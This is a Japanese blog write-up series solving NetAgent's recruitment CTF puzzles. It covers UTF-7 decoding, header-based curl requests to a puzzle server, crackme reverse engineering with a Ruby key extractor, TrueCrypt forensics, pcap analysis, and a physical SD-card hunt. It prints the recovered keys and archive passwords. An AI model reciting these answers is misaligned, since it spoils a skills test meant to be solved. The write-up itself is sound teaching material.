Ok\n\nSize: 16052\nCompressed: 17310\n```\n\nあっさりと展開でき、QRcodeという名のファイルが出てきました。\nこのファイルの形式はSun raster image dataとのことです。\n\n```sh\n$ file QRcode\nQRcode: Sun raster image data, 123 x 123, 8-bit, RGB colormap\n```\n\n画像データらしいですが、開けるアプリケーションを持ち合わせていないので、ImageMagickに投げ込んでみます。\n\n```sh\n$ convert QRcode qrcode.png\n$ file qrcode.png\nqrcode.png: PNG image data, 123 x 123, 4-bit grayscale, non-interlaced\n```\n\nさすがImageMagick難なく変換できたすごい!\n簡単に開ける形式の画像ファイルができたので開いてみます。\n\n\n\n[半分食べられてしまったパンケーキ](../2014/2014-12-07-seccon2014-online.md)ではなく、普通のQRコードでした。\n\n適当なQRコードリーダーで読み込むと、以下のような文字列が得られます。\n```\n+BCcENQQxBEMEQAQwBEgEOgQw-\n```\n+で始まり-で終わる文字列、そう、UTF-7エンコード文字列です。\n+と-の間はUTF-16のBASE64エンコード文字列(ただしパッディングの=が省略されている)なので、`nkf`で変換してみます。\n```sh\n$ echo BCcENQQxBEMEQAQwBEgEOgQw | nkf -mB -W16B\n```\n\n<!--\nЧебурашка\n-->\n\n何やらロシア語らしきものが出てきます。意味を調べると、ロシアの絵本のキャラクターとのことです。\n\n\n\n\nこれ以上解くものがなくなったので、これがmondai5の答えのようです。しかし`7z`コマンドで解凍を試みても、パスワードが違うと言われる始末です。\n\np7zipの`7z`コマンドによる非ASCII文字パスワード付き7zipの解凍・圧縮は、環境によって正しく処理されないということを、以前日本語パスワードをセットしたときに経験したのを思い出し、本家7zipの`7z.exe`を使って解凍をしてみます。\n\n\n```\n$ wine 7z.exe x mondai6.zip\n\n7-Zip [64] 9.35 beta Copyright (c) 1999-2014 Igor Pavlov 2014-12-07\n\nProcessing archive: mondai6.zip\n\nExtracting hint6.txt\nEnter password (will not be echoed):\n\nExtracting mondai6.txt\nExtracting mondai7.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70362410\nCompressed: 70373511\n\nKernel Time = 0.046 = 1%\nUser Time = 0.780 = 17%\nProcess Time = 0.826 = 18% Virtual Memory = 2 MB\nGlobal Time = 4.394 = 100% Physical Memory = 4 MB\n```\n\n<!--\n$ wine 7z.exe x mondai6.zip -pЧебурашка\n\n7-Zip [64] 9.35 beta Copyright (c) 1999-2014 Igor Pavlov 2014-12-07\n\nProcessing archive: mondai6.zip\n\nExtracting hint6.txt\nExtracting mondai6.txt\nExtracting mondai7.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70362410\nCompressed: 70373511\n\nKernel Time = 0.046 = 5%\nUser Time = 0.811 = 89%\nProcess Time = 0.858 = 94% Virtual Memory = 2 MB\nGlobal Time = 0.909 = 100% Physical Memory = 4 MB\n-->\n\n\n解凍できました!(やっと終わった。。)\n\n## mondai6\n\nmondai6.txtには以下のように記載がありました。\n```\nhttp://49.212.84.208/cgi-bin/hode7hb376dgeas6df783gr4/mondai6.cgi\n```\n実際にこのURLにアクセスしに行くと、次のようなレスポンスを得られました。\n\n```\n$ curl -v http://49.212.84.208/cgi-bin/hode7hb376dgeas6df783gr4/mondai6.cgi\n* Hostname was NOT found in DNS cache\n* Trying 49.212.84.208...\n* Connected to 49.212.84.208 (49.212.84.208) port 80 (#0)\n> GET /cgi-bin/hode7hb376dgeas6df783gr4/mondai6.cgi HTTP/1.1\n> User-Agent: curl/7.37.1\n> Host: 49.212.84.208\n> Accept: */*\n>\n< HTTP/1.1 200 OK\n< Date: Tue, 07 Apr 2015 08:20:21 GMT\n* Server Apache/2.2.3 (CentOS) is not blacklisted\n< Server: Apache/2.2.3 (CentOS)\n< Connection: close\n< Transfer-Encoding: chunked\n< Content-Type: text/html; charset=utf-8\n<\n{ [data not shown]\n\n* Closing connection 0\n<HTML><BODY>use R4000\n</BODY></HTML>\n```\n\nなにやらR4000を使えとの文字だけが返ってきました。\nR4000でGoogle検索すると、MIPSのプロセッサ情報がいくつか引っかかります。\nMIPS R4000を搭載したデバイスでアクセスすればいいのかな?と思ったので、\nGoogleで「MIPS R4000 デバイス」で検索し、MIPS R4000搭載のデバイスを探してみました。\n\n\n\n\n検索結果1ページ目によると、PSPに搭載されているとの情報がいくつかヒットしていました。\n早速PSPのブラウザからアクセスする際に送られるUser-Agentを調べてみます。\n\n[userAgent一覧/ユーザーエージェント一覧](http://www.openspc2.org/userAgent/)\n\nこのサイトによると、PSPのUAは、\n```\nMozilla/4.0 (PSP PlayStation Portable); 2.00)\n```\nとなっているようです。\n\n早速このUAで先ほどのURLにアクセスしてみます。\n\n```\n$ curl -v -A 'Mozilla/4.0 (PSP PlayStation Portable); 2.00)' http://49.212.84.208/cgi-bin/hode7hb376dgeas6df783gr4/mondai6.cgi\n* Hostname was NOT found in DNS cache\n* Trying 49.212.84.208...\n* Connected to 49.212.84.208 (49.212.84.208) port 80 (#0)\n> GET /cgi-bin/hode7hb376dgeas6df783gr4/mondai6.cgi HTTP/1.1\n> User-Agent: Mozilla/4.0 (PSP PlayStation Portable); 2.00)\n> Host: 49.212.84.208\n> Accept: */*\n>\n< HTTP/1.1 200 OK\n< Date: Tue, 07 Apr 2015 08:31:47 GMT\n* Server Apache/2.2.3 (CentOS) is not blacklisted\n< Server: Apache/2.2.3 (CentOS)\n< Content-Length: 42\n< Connection: close\n< Content-Type: text/html; charset=utf-8\n<\n* Closing connection 0\n<HTML><BODY>de la Bucure?ti\n</BODY></HTML>\n```\n\nレスポンスが変わりました。知らない国の言葉で書かれていたのでGoogle翻訳にタイプしてみると、ルーマニア語であるとの情報を得ました。\n\n先ほどのレスポンスの一部文字が\"?\"となっているので、ルーマニア語を許容するヘッダーを付加すると表示が変わるかもしれないと思い、Accept-Languageにルーマニア語を指定してアクセスしてみました。\n\n```\n$ curl -v -H 'Accept-Language: ro-RO' -A 'Mozilla/4.0 (PSP PlayStation Portable); 2.00)' http://49.212.84.208/cgi-bin/hode7hb376dgeas6df783gr4/mondai6.cgi\n* Hostname was NOT found in DNS cache\n* Trying 49.212.84.208...\n* Connected to 49.212.84.208 (49.212.84.208) port 80 (#0)\n> GET /cgi-bin/hode7hb376dgeas6df783gr4/mondai6.cgi HTTP/1.1\n> User-Agent: Mozilla/4.0 (PSP PlayStation Portable); 2.00)\n> Host: 49.212.84.208\n> Accept: */*\n> Accept-Language: ro-RO\n>\n< HTTP/1.1 200 OK\n< Date: Tue, 07 Apr 2015 08:35:33 GMT\n* Server Apache/2.2.3 (CentOS) is not blacklisted\n< Server: Apache/2.2.3 (CentOS)\n< Connection: close\n< Transfer-Encoding: chunked\n< Content-Type: text/html; charset=utf-8\n<\n* Closing connection 0\n<HTML><BODY>key: Minesweeper1990\n</BODY></HTML>\n```\n\n表示が変わり、mondai6の答えが出てきました。mondai7.zipのパスワードに指定して解凍してmondai6はおしまいです。\n\n```\n$ 7z x mondai7.zip\n\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai7.zip\n\nExtracting hint7.txt\nEnter password (will not be echoed) :\n\nExtracting mondai8.zip\nExtracting normal.exe\n\nEverything is Ok\n\nFiles: 3\nSize: 70383731\nCompressed: 70362268\n```\n\n<!--\n$ 7z x mondai7.zip -pMinesweeper1990\n\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai7.zip\n\nExtracting hint7.txt\nExtracting mondai8.zip\nExtracting normal.exe\n\nEverything is Ok\n\nFiles: 3\nSize: 70383731\nCompressed: 70362268\n-->\n\n明日はmondai7からmondai9までのWrite-upを公開する予定です。\n"]}],[0,{"slug":[0,"2015/04/15/netagent-mondai7-9/"],"data":[0,{"title":[0,"ネットエージェント最終面接問題 Write-up その3"],"date":[3,"2015-04-14T15:01:21.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"CTF"]]],"tags":[1,[[0,"netagent"]]]}],"content":[0,"\nあのネットエージェントのいきなり最終面接問題を解いたのでWrite-upを書きました。\n\n- [2016年度 新卒採用|ネットエージェント株式会社](http://www.netagent.co.jp/recruit/newgraduates_2016.html)\n\nこれまでのmondaiはLinuxやOS Xがあれば解くことができていましたが、mondai7からはWindowsの実行ファイル形式やMicrosoft Officeドキュメントが登場したりと、そろそろWindowsがない環境には手厳しい問題となってきました。\nなので、今回の記事に掲載のmondaiはすべて(`file`コマンドでのファイル情報調査以外)、Windows上での解法となっております。\n\n昨日の[mondai6までの解法](../2015/2015-04-14-netagent-mondai5-6.md)に続いて本日はmondai7、mondai8、mondai9の解法を公開します。\n\n## 目次\n\n\n## mondai7\n\nmondai7はnormal.exeというWIN/PE32実行ファイルを解析して答えを得る問題のようです。\n\n```sh\n$ file normal.exe\nnormal.exe: PE32 executable for MS Windows (GUI) Intel 80386 32-bit\n```\n\n今回はIDA Pro(demo)を使って解析してみます。\n\n\n\nIDAに解析させて表示を見てみると、おもむろに正解を表示するらしい*aCorrectKeyIsS*がみつかります。\nここまで来る過程をアセンブリ表示で追っていくことにします。\n\n\n\n*aCorrectKeyIsS* はsprintfで渡されるテンプレート文字列で、そこにコマンドライン引数が埋め込められるようにいなっているようです。\nこのことから、normal.exeにキー候補の文字列をコマンドライン引数として渡して実行し、なにか判定があり、それが正しい場合に **Correct! KEY is :** に続いてその文字列が表示されるようになっていることがわかります。\n\n\n\nすこし遡ってみると、キーが表示される部分のサブルーチンへ来る前に、なにやら条件分岐があります。\nコマンドライン第一引数の文字長をstrlenでチェックし、0x0A(=10)と比較し、合致しない場合に **Try Again!** と表示する処理がみつかりました。\nこのことから、キーは10文字長であることがわかります。\n\n\n\n\nキーが表示される直前に行われる処理を見てみると、サブルーチン *sub_4011C0* を呼んだ戻り値が0の場合、 **Try Again!** の表示をさせるようになっています。\n *sub_4011C0* にはコマンドライン引数を渡しているので、この引数が何か特定の文字列と比較されていると推測できます。\n\n\n\n\nサブルーチン *sub_4011C0* のはじめの方では、ループインデックス(以下、i)を0にしたりと、forループの初期化が行われている様子がつかめます。このループの中の処理を見てみます。\n\n\n\nこのforループでは、iが0x0A(=10)になるまでループが回れば1を、途中でbreakが発生すれば0をサブルーチン呼び出し元に返すような処理をしています。\n途中でbreakが発生する条件は、ループ内で呼ばれる*sub_401170*の戻り値と謎の配列*dword_40C068*の比較が偽である場合となっています。\n要するに、このループがi=10になるまで回らないと呼び出し元に0が返され、 **Try Again!** が表示されるということです。\n\nコマンドライン引数のi番目の文字が引数として渡されて呼び出されている*sub_401170*を見てみます。\n\n\n\n*sub_401170*はサブルーチンの引数で与えられた文字(=コマンドライン引数のi番目の文字)が、謎の文字列 **\"efyTUwxqrY...\"** の中の何番目に出てくるかを、forループを回して一つずつチェックしているようです。そしてサブルーチンの戻り値として、謎の文字列の何番目に引数の文字が現れたかを呼び出し元に返しています。\n\n\n\n謎の配列*dword_40C068*の中身を見に行くと、unsignled long型の配列として、数値が格納されていました。\n先のサブルーチン *sub_4011C0* のループ内では、コマンドライン引数のi番目の文字を *sub_401170* に渡し、謎の文字列の何番目に出現するかを取得し、その値とこの *dword_40C068* のi番目の数値を比較して、同じであればループを継続するという処理でした。\n\nここまでの調査を基にまとめると、このプログラムの処理は簡易的に以下のようになっていることがわかります。\n\n- コマンドライン引数に与えられた文字列があり、\n- その文字列は10文字であり、\n- その文字列の1文字1文字が謎の文字列 **\"efyTUwxqrY...\"** の何番目に位置するかを調べていて、\n- その位置がすべて謎の配列 *dword_40C068* に定義されたもの同じであれば **Correct! Key is :** に続けて引数を表示する\n\nなので逆に考えると、謎の文字列の中の、謎の配列に定義されている場所の文字を抽出すればキーが見つかるということです。\nパパッと以下のようなものを書いてキーを抽出します。\n\n```ruby\n##!/usr/bin/env ruby\n\nstring = \"efyTUwxqrYHEFmduCJAXQpgKLBnhiltINPGOoszkMDvcjabSZRVW\"\nindexes = [0x03, 0x24, 0x2b, 0x1b, 0x0f, 0x17, 0x2d, 0x25, 0x24, 0x0f]\n\nkey = \"\"\n\nfor i in indexes do\n\tkey += string[i]\nend\n\np key\n```\n\n<!--\n$ ruby mondai7.rb\n\"TochuKasou\"\n-->\n\n試しにnormal.exeの引数に、このコードを実行して得られたキーを与えて実行してみたところ、以下のようになりました。\n\n\n\nこの文字列を与えてmondai8.zipを解凍してmondai7は終了です。\n\n```sh\n> 7z.exe x mondai8.zip\n\n7-Zip [64] 9.35 beta Copyright (c) 1999-2014 Igor Pavlov 2014-12-07\n\nProcessing archive: mondai8.zip\n\nExtracting mondai8.tc\nEnter password (will not be echoed):\n\nExtracting mondai8.txt\nExtracting mondai9.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70339136\nCompressed: 70339594\n\nKernel Time = 0.015 = 0%\nUser Time = 1.170 = 21%\nProcess Time = 1.185 = 22% Virtual Memory = 2 MB\nGlobal Time = 5.379 = 100% Physical Memory = 4 MB\n```\n\n<!--\n$ wine 7z x mondai8.zip -pTochuKasou\n\n7-Zip [64] 9.20 Copyright (c) 1999-2010 Igor Pavlov 2010-11-18\np7zip Version 9.20 (locale=utf8,Utf16=on,HugeFiles=on,4 CPUs)\n\nProcessing archive: mondai8.zip\n\nExtracting mondai8.tc\nExtracting mondai8.txt\nExtracting mondai9.zip\n\nEverything is Ok\n\nFiles: 3\nSize: 70339136\nCompressed: 70339594\n-->\n\n## mondai8\n\nなにやら怪しげなファイルmondai8.tcと問題文mondai8.txtがあります。mondai8.txtには以下のような記述がありました。\n```\nTrueCrypt pass:mondai8\n漢字8文字\n```\n\nmondai8.tcはTrueCryptファイルで、開くためのパスワードはmondai8であるとのことです。そしてこのmondai8の答えは漢字8文字ということでしょう。\nTrueCryptでmondai8.tcをマウントして中を見てみました。\n\n\n\n\nこういったCTF系の問題でイメージファイルが配布されるときは、フォレンジック問題であると相場が決まっているので、TrueCryptでマウントしたらAutopsyで調査します。\n\n\n\nマウントした際に表示されていたファイルになかった「今日の本.xlsx」という削除されたファイルが見つかりました。怪しいですね。\n復元してファイルを開いてみます。\n\n\n\n\n\n\nシート1にはアルファベットと2つの数字が書かれた行があり、シート2には、[青空文庫の奇談クラブ](http://www.aozora.gr.jp/cards/001670/card56113.html)からコピーされたであろう本の内容が書かれていました。\n\nシート3には、key:passwordに対応するanswerを入力するような空欄がありました。\nこのpasswordという文字列はきっとシート1のアルファベットと2つの数字に対応していて、1つ目の数字は行番号、2つ目の数字はその行の文字の位置を指しているだろうと思いました。\nExcel Onlineの印刷機能でシート2をHTML形式にし、保存したのちテキストに変換して[kidanclub.txt](https://gist.github.com/mzyy94/409d925fa2d176fac1b393398529eff8)を作成し、\nシート1を基に、アルファベット**\"password\"**に対応する行から文字を抽出するコードを書きました。\n\n\n\n\n```ruby\n##!/usr/bin/env ruby\npassword = [\n\t[119,161], # p\n\t[ 62, 11], # a\n\t[276, 40], # s\n\t[276, 40], # s\n\t[ 18, 58], # w\n\t[239, 44], # o\n\t[236, 7], # r\n\t[185, 7] # d\n]\n\nbook = File.open(ARGV[0], \"r\").readlines\nkey = \"\"\nfor i in password do\n # One-based numbering\n\tkey += book[i[0] - 1][i[1] - 1]\nend\n\np key\n```\n\n引数に先ほど作成した[kidanclub.txt](/assets/data/2015/04/15/kidanclub.txt)を与えて実行してみると、漢字8文字のパスワードを得ることができました。\n\n<!--\n$ ruby mondai8.rb kidanclub.txt\n\"意気揚揚明鏡止水\"\n-->\n\nmondai5同様、非ASCII文字のパスワードなので、`7z.exe`を利用してmondai9.zipを解凍しておしまいです。\n\n```sh\n> 7z.exe x mondai9.zip\n\n7-Zip [64] 9.35 beta Copyright (c) 1999-2014 Igor Pavlov 2014-12-07\n\nProcessing archive: mondai9.zip\n\nExtracting mondai10.tc\nEnter password (will not be echoed):\n\nExtracting mondai9.pkt\n\nEverything is Ok\n\nFiles: 2\nSize: 68517107\nCompressed: 68241943\n\nKernel Time = 0.046 = 1%\nUser Time = 0.733 = 16%\nProcess Time = 0.780 = 17% Virtual Memory = 2 MB\nGlobal Time = 4.536 = 100% Physical Memory = 4 MB\n```\n\n<!--\n$ wine 7z.exe x mondai9.zip -p意気揚揚明鏡止水\n\n7-Zip [64] 9.35 beta Copyright (c) 1999-2014 Igor Pavlov 2014-12-07\n\nProcessing archive: mondai9.zip\n\nExtracting mondai10.tc\nExtracting mondai9.pkt\n\nEverything is Ok\n\nFiles: 2\nSize: 68517107\nCompressed: 68241943\n\nKernel Time = 0.046 = 5%\nUser Time = 0.733 = 87%\nProcess Time = 0.780 = 93% Virtual Memory = 2 MB\nGlobal Time = 0.836 = 100% Physical Memory = 4 MB\n-->\n\n## mondai9\n\n\nmondai9.pktは`file`コマンドによると、little-endianなpcapファイルのようです。\n\n```\n$ file mondai9.pkt\nmondai9.pkt: tcpdump capture file (little-endian) - version 2.4 (Ethernet, capture length 65535)\n```\n\nまた、拡張子pktはWindowsの関連付けでは、Wiresharkで開けるファイルとなっています。\n早速Wiresharkで見てみます。\n\n\n\nざっと目を通した感じ、`tcpdump -f 'tcp port 80'`によって、fast-uploader.comにアクセスしている様子をキャプチャしたもののようです。\n\n\n\nhttpリクエストで絞り込むと、POSTメソッドによってファイルを幾つかアップロードしているようです。\n\n\n\nアップロードしたファイルを抽出しようとメニューのHTTP objectから抽出を試みたのですが、Wiresharkでは*multipart/form-data*としてPOSTされたデータ中のファイルはうまく取り出せないようなので、NetworkMinerを使います。\n\n\n\nNetworkMinerで4つのアップロードされたファイルを抽出したところ、文字化けした2つのExcelファイルと1つのWordファイル、パスワードのかかったzipファイルがありました。\nパスワードをクラックするとWordファイルが出てきたので、4つのOfficeファイルを開いてみました。\n\n\n\nどのOfficeファイルにも文字の記入はなく、答えらしきものがみつかりません。\nファイル名で検索してみたりいろいろしたあと、ファイルのメタ情報を詮索してみることにしたところ、文字化けしたWordファイルにそれらしきものがあることに気づきました。\n\n\n\n\nこれパスワードとしてmondai10.tcをTrueCryptでマウントしてみたところ、開くことができました。\n\n\n明日は最終問題、mondai10のWrite-upを公開します。\n"]}],[0,{"slug":[0,"2015/04/16/netagent-mondai10/"],"data":[0,{"title":[0,"ネットエージェント最終面接問題 Write-up エクストリームCTF編"],"date":[3,"2015-04-15T15:13:43.000Z"],"author":[0,"mzyy94"],"categories":[1,[[0,"CTF"]]],"tags":[1,[[0,"netagent"]]]}],"content":[0,"\nネットエージェントのいきなり最終面接問題を解いたのでWrite-upです。\n\n- [2016年度 新卒採用|ネットエージェント株式会社](http://www.netagent.co.jp/recruit/newgraduates_2016.html)\n\nこれまでmondai1からmondai9までは、mondaiとOS XやLinux、Windowsマシンが手元にあれば解く事ができていました。\nしかしmondai10はそうはいきません。mondaiが手元にないのです。mondaiを入手しなければいけないのです。\n某所で10分で解けたと言っていた人は、きっと某せんせーみたいにマッハ20で移動できるのでしょう。\n\n\nところで、こんな楽しい体験をさせてくれたmondaiを少しでもたくさんの人に知ってもらおうと、学内のLT大会で以下のように発表してきました。\n\n<iframe src=\"//www.slideshare.net/slideshow/embed_code/47019316\" width=\"425\" height=\"355\" frameborder=\"0\" marginwidth=\"0\" marginheight=\"0\" scrolling=\"no\" style=\"border:1px solid #CCC; border-width:1px; margin-bottom:5px; max-width: 100%;\" allowfullscreen> </iframe> <div style=\"margin-bottom:5px\"> <strong> <a href=\"//www.slideshare.net/mzyy94/ctf-coinslt\" title=\"CTFの話 - coinsLT #10\" target=\"_blank\">CTFの話 - coinsLT #10</a> </strong> from <strong><a href=\"//www.slideshare.net/mzyy94\" target=\"_blank\">Yuki Mizuno</a></strong> </div>\n\nこの発表では、この記事の内容から抜粋する形で、最後のmondai10を解く楽しさと、それによって得た経験を紹介してきました。\nよろしければご覧になってみてください。\n\nさて、一昨々日から始まったネットエージェント最終面接問題のWrite-upもこれで最終回です。\n[昨日のmondai9のWrite-up](../2015/2015-04-15-netagent-mondai7-9.md)に続き、最後のmondai10のWrite-upです。\n\n## 目次\n\n\n## mondai10\n\nmondai9でマウントしたmondai10.tcには9枚の写真とmondai10.txtがありました。mondai10.txtには以下のように記載がありました。\n\n```\n関東2ヶ所、関西2ヶ所のそれぞれの箇所にSDカードに最後の問題を隠した。今までのヒントと写真から位置を割り出せ。\n\n各地先着1名\nヒント:石の下のミンティア\n```\n\n関東に住んでいるので、関東のSDカードをゲットしに行こうと思いました。\n関東の2ヶ所はkanto1・kanto2と呼ばれ、どちらにしようか迷っていると、kanto2がゲットを狙われているとの情報を得たのでkanto1に行くことにしました。\n\n### 今までのヒント\n\nこれまでの問題を解いていて、途中でhint[数字].txtといったファイルが幾つか一緒に出てきました。\nこのhintに書かれているkanto1のヒントは以下の6つでした。\n\n- com.ruckygames.gunmaapps\n- ひもかわうどん\n- 百足\n- ×Fe\n- !△\n- ヤマヒゲナガケンミジンコ\n\n1つ目のヒントはアプリケーションBundle IDで、**ぐんまのやぼう**のものでした。2つ目のヒントのひもかわうどんは、群馬県の桐生名物とのことです。\nこの2つから群馬県のとある場所に隠されているということが想像つきます。\n\n3つ目のヒントの百足と群馬県をセットにしてGoogle検索してみると、次のサイトが上位にヒットします。\n\n[神戦「赤城と日光二荒山神戦」 \\| 群馬県赤城山ポータルサイト](http://akagi-yama.jp/archives/358)\n\n群馬県赤城山の神様が大ムカデとのことです。これによって群馬県赤城山に隠されている線が浮上します。\n\n4つ目のヒントは×Fe(※エックスではなくバツ)ですが、さっぱりわかりません。そのまま見るに、鉄(Fe)ではない、ということでしょうか。\n\n5つ目のヒントは!△で意味するところは、山頂にはない、もしくは、三角点付近ではない、ということでしょうか。これまたよくわかりません。\n\n6つ目のヒントはヤマヒゲナガケンミジンコで、Google検索してみるとミジンコ画像サイトばかりヒットしてよくわかりませんでした。\n\nこれらのヒントを元にわかったことは、**群馬県の赤城山**に隠されているということです。\nkanto1に関する画像がまだ確認してないので見てみます。\nkanto1_1.jpgとkanto1_2.jpgのファイル情報に撮影場所の手がかりがあるかもと期待を込め、メタ情報を見てみます。\n\n\n\n予想通り、SDカードを隠した場所のGPSの座標情報がEXIFに含まれているようです。OS Xのプレビュー.appで詳細情報を開いて、マップ.appにその地点を表示させてみました。\n\n\n\nヒントから導いた通り、隠されている場所は赤城山でまちがいないようです。\n\n早速、赤城山への行き方を調べてみます。\n\n[アクセス \\| 群馬県赤城山ポータルサイト](http://akagi-yama.jp/access)\n\n公共交通機関で行く方法として、電車に乗って前橋駅もしくは中央前橋駅へ行き、そこから赤城山行きのバスに乗ればよいと示されていました。\n同じ関東だし翌日9時頃に家を出ればその日のうちに帰ってこれるだろ、と高を括り、お布団に入って熟睡し翌日に備えました。\n今思えばこの時点で**エクストリームCTF**が始まっていました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>明日は10時頃大学行って11時ごろ電車乗って14時ごろ登山開始ってところかな()</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584723697740582913\">2015, 4月 5</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>ヤマノススメするぞといった気持ち</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584858646346989568\">2015, 4月 5</a></blockquote>\n\n<iframe src=\"http://rcm-fe.amazon-adsystem.com/e/cm?lt1=_blank&bc1=000000&IS2=1&bg1=FFFFFF&fc1=000000&lc1=0000FF&t=mzyy-22&o=9&p=8&l=as4&m=amazon&f=ifr&ref=ss_til&asins=B00L3NPW7E\" style=\"width:120px;height:240px;\" scrolling=\"no\" marginwidth=\"0\" marginheight=\"0\" frameborder=\"0\"></iframe>\n\n\n### 当日\n\nぐっすりと睡眠をとり、目覚めのコーヒーと朝食の調理パンを食べて赤城山に向かう準備を始めます。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>とりあえず登山グッズはこんなもんか <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> <a href=\"http://t.co/pXQj4G5MdH\">pic.twitter.com/pXQj4G5MdH</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584861432895811585\">2015, 4月 5</a></blockquote>\n\n\nMBA,パン,水分,チョコレート,革手袋,コンパクトダウンジャケット,モバイルバッテリーにSDカードリーダーを持っていざ出発です。\n\n\n\n#### 午前の部 電車乗り換え編\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>行くぜ関東 <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ つくば駅 (Tsukuba Sta.) in つくば市, 茨城県) <a href=\"https://t.co/DUWnj3m167\">https://t.co/DUWnj3m167</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584874102009266176\">2015, 4月 6</a></blockquote>\n\n\n自宅の最寄駅のつくば駅からつくばエクスプレスに乗り、赤城山の最寄駅である前橋駅へ向かいます。\nつくばエクスプレスの電車の中で検索したところ経路としては、流山おおたかの森駅乗り換えで東武鉄道を使う行き方と、\n南流山乗り換えでJRを使って行く方法がありました。\n\n\n\nJRでは移動距離100km以上だったので学割が使えますが、電車内での決断は以下のようになりました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>JRでSDカード発掘に行くつもりだったけど時間ずらすと東武の方が安いことに気づいて学割使わなんだ</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584881057205395456\">2015, 4月 6</a></blockquote>\n\nこの時は後にある過酷な乗り換えが待っていることも知らず、運賃の安さで流山おおたかの森駅での乗り換えを選択しました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>TX乗り換え <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ つくばエクスプレス 流山おおたかの森駅 in 流山市, 千葉県) <a href=\"https://t.co/PTvNeocyiw\">https://t.co/PTvNeocyiw</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584879354540388352\">2015, 4月 6</a></blockquote>\n\n\n東武鉄道へと乗り換え、電車の中で前橋駅から赤城山へのバスの時刻表を調べ始めます。ここで衝撃の事実を知ることになります。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>やべぇ登山口へのバスの本数少なすぎるw <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584885349471498242\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>ちょっと!kanto1最寄り駅から1日5本しかバス出てないってどういうことおかしいでしょ!! <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584885739130716160\">2015, 4月 6</a></blockquote>\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>5本じゃない4本だし!!! <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584885923290030082\">2015, 4月 6</a></blockquote>\n\n衝撃です。平日の前橋駅発赤城山行きのバスは4本しかなく、4本目が最終折り返し便という記載がバス時刻表にあることを初めて知りました。\n\n\n\n平日の前橋駅発富士見温泉経由赤城山行きの出発時刻は7:32、10:35、13:27、15:28の4本しかなく、15:28の便が最終折り返し便なので、なんとしてでも13:27のバスに乗らなければならない状況に立たされていることを知ります。\n悠長に電車旅を続けられる状態ではなくなりました。本数の少ない路線を乗り継いでいるため、一つでも乗り換えを間違えたり間に合わなかったりすると13:27のバスに間に合わず、そこでmondai10へのチャレンジ終了となります。\n\n\nギリギリの乗り換えを迫られているがため、春日部駅で10:26発の久喜行きの電車が目の前で去った時は、乗り換え失敗をしたと勘違いし、焦ってこんなツイートをしていました(乗り換え案内によると10:36発の久喜行きに乗ればよいとのことでした)。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>あかん乗り換えミスったやばいぞ <a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 春日部駅 (Kasukabe Sta.) in 春日部市, 埼玉県) <a href=\"https://t.co/4d9tnWBHpQ\">https://t.co/4d9tnWBHpQ</a></p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584890215510192129\">2015, 4月 6</a></blockquote>\n\n\nなんとか春日部駅での乗り換えを成功し、電車の中でこんなことを考えていました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p>新幹線乗ればよかった感</p>&mdash; えびと犬と柚子胡椒みっきー (@mzyy94) <a href=\"https://twitter.com/mzyy94/status/584891590436454400\">2015, 4月 6</a></blockquote>\n\n運賃をできるだけ安く済ませようと、有料特急を乗り換え案内の検索条件から外していたのですが、埼玉県の大宮駅で新幹線に乗って群馬県の高崎駅へ行く経路をとれば、乗り換えも少なく、時間に余裕を持って前橋駅まで行くことができたのです。\n\n\n続く2駅も、途中2分という短い乗り換え時間でありながらも、乗り遅れることなく無事乗り換えることに成功しました。\n\n<blockquote class=\"twitter-tweet\" lang=\"ja\"><p><a href=\"https://twitter.com/hashtag/SDcardFindingBattle?src=hash\">#SDcardFindingBattle</a> (@ 久喜駅 (Kuki Sta.) in 久喜市, 埼玉県) <a 